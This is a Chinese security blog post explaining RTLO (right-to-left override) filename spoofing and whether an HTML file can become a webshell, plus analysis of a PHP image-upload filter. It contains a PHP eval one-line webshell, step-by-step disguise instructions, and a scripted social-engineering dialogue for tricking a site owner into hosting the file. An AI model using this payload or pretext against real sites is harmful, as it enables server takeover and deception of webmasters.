最新消息:

RTLO技术与HTML文件是否可以变为WEBSHELL

安全知识 admin 3718浏览 0评论

一、浅谈RTLO技术

我在FreeBuf上到了 [APT攻击]趋势科技捕获一次APT攻击活动 这篇文章,然后就自己去探探究竟,文章地址在下面

传送门

RLO控制符是Unicode控制符的一种,使得字符显示从右至左的顺序,攻击者可以利用RTLO技术来达到欺骗目标,从而使得可执行文件的运行。首先Windows系统在解析文件名时,当遇到unicode控制符时,会改变文件名的显示方式,利用这一特性,可以将exe、scr、com等可执行文件伪装成doc、jpg、txt、ppt等

例如:我首先创建一个bat文件,命名为txt.bat,里面内容写为ping baidu.com,下面就是重点了,我们进行重命名,重命名时在输入名字的文本框里点右键,选择“插入unicode控制字符”,然后就到了这个菜单栏,我们选择RLO,输入txt.bat

234

我们可以看到此时文件名已经显示为tab.txt

20140831135823
不过我们看到它是一个window批处理文件(bat),可以正常执行指令

当然文件的图标方面也是可以修改的,这样可以显得文件的确是一个txt文档,从而诱使目标打开,增加成功几率

二、HTML文件是否可以变为WEBSHELL

ps:按照作者的思路,不仅htnl文件可以进行欺骗,如jpg、png等其他文件都可以欺骗。

测试环境:Linux+Apache+Php
Linux+Nginx+Php

1 2
从上面2幅图可以看到HTML是没有办法充当一句话的,但是现在我们需要的就是把HTML变为PHP文件,这个可能实现吗?完全有可能!!!这里需要运用到RTLO技术,来进行欺骗,我个人认为目前这种方法适用于社会工程学攻击方面比较得体。

3

可以看到运用RTLO技术,我们已经把html.php变为了php.html,这样我们可以用于欺骗。如何欺骗?下面是虚构的一篇对话!当然方法不唯一!

===>攻击者事先把恶意代码放入HTML中(<?php @eval($_POST[‘sys’]);?>)
→攻击者:你是xxx的站长吗?我有一个小广告想挂在你的网站上面。
→站长:嗯,你好,我是xxx的站长。
→攻击者:站长,是这样的,我想先把一个HTML放进去,看看效果,如果效果不错,就可以付款,然后正式开始合作。
→站长:嗯,行,那你把HTML文件传过来吧。
→站长: www.xxx.com/php.html,你看看去吧,如果效果不错,我就去放置了。

其实这个时候php.html文件早以不存在了,而在linux下面它会这样显示?lmth.php,这样它就变为了一个可执行文件php,从而攻击者可以获取到webshell。
为了还原现场,我把已经运用RTLO技术的php.html上传到服务器,由于linux没有unicode控制符这么一说,所以linux会还原为lmth.php(这个为windows下运用RTLO输入时的场景)

4

攻击者从而就可以获取到webshell了,www.xxx.com/%3flmth.php。
5

ps:将通过RLO技术构造的文件上传到linux服务器时,文件名前面不一定只产生一个?号,我上传到ubuntu系统时就有两个??号。

构造方式很简单,如将php文件伪装成图片jpg,则新建一个php文件,输入php代码后保存。重命名,全选文件名后右键选择“插入Unicode控制字符”–>RLO,然后输入:gpj.php后即可伪装成php.jpg文件,然后上传到linux服务器上即可。当然,访问时?要进行URL编码,即%3f.

20140831142328

 

三、一次图片上传脚本的分析

下面分析一下,是否可以通过RTLO技术来突破strstr()函数对上传文件的限制。结果是:不能。

上传脚本如下:

<title>文件上传</title>
<style type="text/css">
<!--
body,td,th {
        font-size: 12px;
}
-->
</style></head>
<body>
<center>
<label>请选择要上传的图片(图片格式为.jpg):</label>
<form method="post" action="index.php" enctype="multipart/form-data">
        <input type="hidden" name="action" value="upload" />
        <input type="file" name="u_file"/>
        <input type="submit" value="上传" />
</form>
<?php
        if($_POST[action] == "upload"){                //获取提值
                $file_path = "./uploads\\";        //上传目录
                $picture_name=$_FILES[u_file][name];        //获取图片名称
                $picture_name=strstr($picture_name , ".");        //通过strstr()函数截取点(.)以后的后缀
                if($picture_name!= ".jpg"){                //截取到点(.)以后的后缀进行比较如果全等于(.jpg) 就执行else if的代码
                        echo "<script>alert('上传图片格式不正确,请重新上传'); window.location.href='index.php';</script>";
                }else if($_FILES[u_file][tmp_name]){
                        move_uploaded_file($_FILES[u_file][tmp_name],$file_path.$_FILES[u_file][name]);                //执行图片上传
                        echo "图片上传成功!";
                }
                else
                        echo "上传图片失败";
                }
?>
</center>
</body>
</html>

我们看到这里验证主要是用上了strstr这个函数,这个函数是匹配值,意思也就是匹配点(.)以后的值
然后用if语句来判断是否等于”.jpg”了,且即使你在burp里修改两个点(.)也是不通过的,png以及jpge这些都不可以,不等于就不执行上传了。这尼玛不是没辙了。

strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。

 

参考资料:

1、转自:http://sb.f4ck.org/thread-18850-1-1.html

2、转自:http://sb.f4ck.org/thread-19589-1-1.html

3、转自:http://sb.f4ck.org/thread-19916-1-1.html

 

转载请注明:jinglingshu的博客 » RTLO技术与HTML文件是否可以变为WEBSHELL

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址